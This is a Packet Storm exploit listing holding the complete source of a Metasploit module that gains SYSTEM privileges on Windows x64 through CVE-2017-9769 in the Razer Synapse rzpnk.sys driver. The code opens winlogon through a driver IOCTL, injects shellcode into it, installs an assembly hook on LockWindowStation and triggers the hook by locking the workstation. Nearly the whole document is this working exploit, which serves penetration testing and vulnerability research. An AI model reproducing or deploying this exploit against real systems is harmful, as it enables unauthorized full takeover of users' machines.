Lucene search

K
packetstormSpencer McIntyrePACKETSTORM:143450
HistoryJul 22, 2017 - 12:00 a.m.

Razer Synapse rzpnk.sys ZwOpenProcess

2017-07-2200:00:00
Spencer McIntyre
packetstormsecurity.com
91

0.232 Low

EPSS

Percentile

96.1%

`##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core/exploit/local/windows_kernel'  
require 'rex'  
require 'metasm'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Local::WindowsKernel  
include Msf::Post::Windows::Priv  
  
# the max size our hook can be, used before it's generated for the allocation  
HOOK_STUB_MAX_LENGTH = 256  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Razer Synapse rzpnk.sys ZwOpenProcess',  
'Description' => %q{  
A vulnerability exists in the latest version of Razer Synapse  
(v2.20.15.1104 as of the day of disclosure) which can be leveraged  
locally by a malicious application to elevate its privileges to those of  
NT_AUTHORITY\SYSTEM. The vulnerability lies in a specific IOCTL handler  
in the rzpnk.sys driver that passes a PID specified by the user to  
ZwOpenProcess. This can be issued by an application to open a handle to  
an arbitrary process with the necessary privileges to allocate, read and  
write memory in the specified process.  
  
This exploit leverages this vulnerability to open a handle to the  
winlogon process (which runs as NT_AUTHORITY\SYSTEM) and infect it by  
installing a hook to execute attacker controlled shellcode. This hook is  
then triggered on demand by calling user32!LockWorkStation(), resulting  
in the attacker's payload being executed with the privileges of the  
infected winlogon process. In order for the issued IOCTL to work, the  
RazerIngameEngine.exe process must not be running. This exploit will  
check if it is, and attempt to kill it as necessary.  
  
The vulnerable software can be found here:  
https://www.razerzone.com/synapse/. No Razer hardware needs to be  
connected in order to leverage this vulnerability.  
  
This exploit is not opsec-safe due to the user being logged out as part  
of the exploitation process.  
},  
'Author' => 'Spencer McIntyre',  
'License' => MSF_LICENSE,  
'References' => [  
['CVE', '2017-9769'],  
['URL', 'https://warroom.securestate.com/cve-2017-9769/']  
],  
'Platform' => 'win',  
'Targets' =>  
[  
# Tested on (64 bits):  
# * Windows 7 SP1  
# * Windows 10.0.10586  
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
'WfsDelay' => 20  
},  
'DefaultTarget' => 0,  
'Privileged' => true,  
'DisclosureDate' => 'Mar 22 2017'))  
end  
  
def check  
# Validate that the driver has been loaded and that  
# the version is the same as the one expected  
client.sys.config.getdrivers.each do |d|  
if d[:basename].downcase == 'rzpnk.sys'  
expected_checksum = 'b4598c05d5440250633e25933fff42b0'  
target_checksum = client.fs.file.md5(d[:filename])  
  
if expected_checksum == Rex::Text.to_hex(target_checksum, '')  
return Exploit::CheckCode::Appears  
else  
return Exploit::CheckCode::Detected  
end  
end  
end  
  
Exploit::CheckCode::Safe  
end  
  
def exploit  
if is_system?  
fail_with(Failure::None, 'Session is already elevated')  
end  
  
if check == Exploit::CheckCode::Safe  
fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')  
end  
  
if session.platform != 'windows'  
fail_with(Failure::NoTarget, 'This exploit requires a native Windows meterpreter session')  
elsif session.arch != ARCH_X64  
fail_with(Failure::NoTarget, 'This exploit only supports x64 Windows targets')  
end  
  
pid = session.sys.process['RazerIngameEngine.exe']  
if pid  
# if this process is running, the IOCTL won't work but the process runs  
# with user privileges so we can kill it  
print_status("Found RazerIngameEngine.exe pid: #{pid}, killing it...")  
session.sys.process.kill(pid)  
end  
  
pid = session.sys.process['winlogon.exe']  
print_status("Found winlogon pid: #{pid}")  
  
handle = get_handle(pid)  
fail_with(Failure::NotVulnerable, 'Failed to open the process handle') if handle.nil?  
vprint_status('Successfully opened a handle to the winlogon process')  
  
winlogon = session.sys.process.new(pid, handle)  
allocation_size = payload.encoded.length + HOOK_STUB_MAX_LENGTH  
shellcode_address = winlogon.memory.allocate(allocation_size)  
winlogon.memory.protect(shellcode_address)  
print_good("Allocated #{allocation_size} bytes in winlogon at 0x#{shellcode_address.to_s(16)}")  
winlogon.memory.write(shellcode_address, payload.encoded)  
hook_stub_address = shellcode_address + payload.encoded.length  
  
result = session.railgun.kernel32.LoadLibraryA('user32')  
fail_with(Failure::Unknown, 'Failed to get a handle to user32.dll') if result['return'] == 0  
user32_handle = result['return']  
  
# resolve and backup the functions that we'll install trampolines in  
user32_trampolines = {} # address => original chunk  
user32_functions = ['LockWindowStation']  
user32_functions.each do |function|  
address = get_address(user32_handle, function)  
winlogon.memory.protect(address)  
user32_trampolines[function] = {  
address: address,  
original: winlogon.memory.read(address, 24)  
}  
end  
  
# generate and install the hook asm  
hook_stub = get_hook(shellcode_address, user32_trampolines)  
fail_with(Failure::Unknown, 'Failed to generate the hook stub') if hook_stub.nil?  
# if this happens, there was a programming error  
fail_with(Failure::Unknown, 'The hook stub is too large, please update HOOK_STUB_MAX_LENGTH') if hook_stub.length > HOOK_STUB_MAX_LENGTH  
  
winlogon.memory.write(hook_stub_address, hook_stub)  
vprint_status("Wrote the #{hook_stub.length} byte hook stub in winlogon at 0x#{hook_stub_address.to_s(16)}")  
  
# install the asm trampolines to jump to the hook  
user32_trampolines.each do |function, trampoline_info|  
address = trampoline_info[:address]  
trampoline = Metasm::Shellcode.assemble(Metasm::X86_64.new, %{  
mov rax, 0x#{address.to_s(16)}  
push rax  
mov rax, 0x#{hook_stub_address.to_s(16)}  
jmp rax  
}).encode_string  
winlogon.memory.write(address, trampoline)  
vprint_status("Installed user32!#{function} trampoline at 0x#{address.to_s(16)}")  
end  
  
session.railgun.user32.LockWorkStation()  
session.railgun.kernel32.CloseHandle(handle)  
end  
  
def get_address(dll_handle, function_name)  
result = session.railgun.kernel32.GetProcAddress(dll_handle, function_name)  
fail_with(Failure::Unknown, 'Failed to get function address') if result['return'] == 0  
result['return']  
end  
  
# this is where the actual vulnerability is leveraged  
def get_handle(pid)  
handle = open_device("\\\\.\\47CD78C9-64C3-47C2-B80F-677B887CF095", 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')  
return nil unless handle  
vprint_status('Successfully opened a handle to the driver')  
  
buffer = [pid, 0].pack(target.arch.first == ARCH_X64 ? 'QQ' : 'LL')  
  
session.railgun.add_function('ntdll', 'NtDeviceIoControlFile', 'DWORD',[  
['DWORD', 'FileHandle', 'in' ],  
['DWORD', 'Event', 'in' ],  
['LPVOID', 'ApcRoutine', 'in' ],  
['LPVOID', 'ApcContext', 'in' ],  
['PDWORD', 'IoStatusBlock', 'out'],  
['DWORD', 'IoControlCode', 'in' ],  
['PBLOB', 'InputBuffer', 'in' ],  
['DWORD', 'InputBufferLength', 'in' ],  
['PBLOB', 'OutputBuffer', 'out'],  
['DWORD', 'OutputBufferLength', 'in' ],  
])  
result = session.railgun.ntdll.NtDeviceIoControlFile(handle, nil, nil, nil, 4, 0x22a050, buffer, buffer.length, buffer.length, buffer.length)  
return nil if result['return'] != 0  
session.railgun.kernel32.CloseHandle(handle)  
  
result['OutputBuffer'].unpack(target.arch.first == ARCH_X64 ? 'QQ' : 'LL')[1]  
end  
  
def get_hook(shellcode_address, restore)  
dll_handle = session.railgun.kernel32.GetModuleHandleA('kernel32')['return']  
return nil if dll_handle == 0  
create_thread_address = get_address(dll_handle, 'CreateThread')  
  
stub = %{  
call main  
; restore the functions where the trampolines were installed  
push rbx  
}  
  
restore.each do |function, trampoline_info|  
original = trampoline_info[:original].unpack('Q*')  
stub << "mov rax, 0x#{trampoline_info[:address].to_s(16)}"  
original.each do |chunk|  
stub << %{  
mov rbx, 0x#{chunk.to_s(16)}  
mov qword ptr ds:[rax], rbx  
add rax, 8  
}  
end  
end  
  
stub << %{  
pop rbx  
ret  
  
main:  
; backup registers we're going to mangle  
push r9  
push r8  
push rdx  
push rcx  
  
; setup the arguments for the call to CreateThread  
xor rax, rax  
push rax ; lpThreadId  
push rax ; dwCreationFlags  
xor r9, r9 ; lpParameter  
mov r8, 0x#{shellcode_address.to_s(16)} ; lpStartAddress  
xor rdx, rdx ; dwStackSize  
xor rcx, rcx ; lpThreadAttributes  
mov rax, 0x#{create_thread_address.to_s(16)} ; &CreateThread  
  
call rax  
add rsp, 16  
  
; restore arguments that were mangled  
pop rcx  
pop rdx  
pop r8  
pop r9  
ret  
}  
Metasm::Shellcode.assemble(Metasm::X86_64.new, stub).encode_string  
end  
end  
`

0.232 Low

EPSS

Percentile

96.1%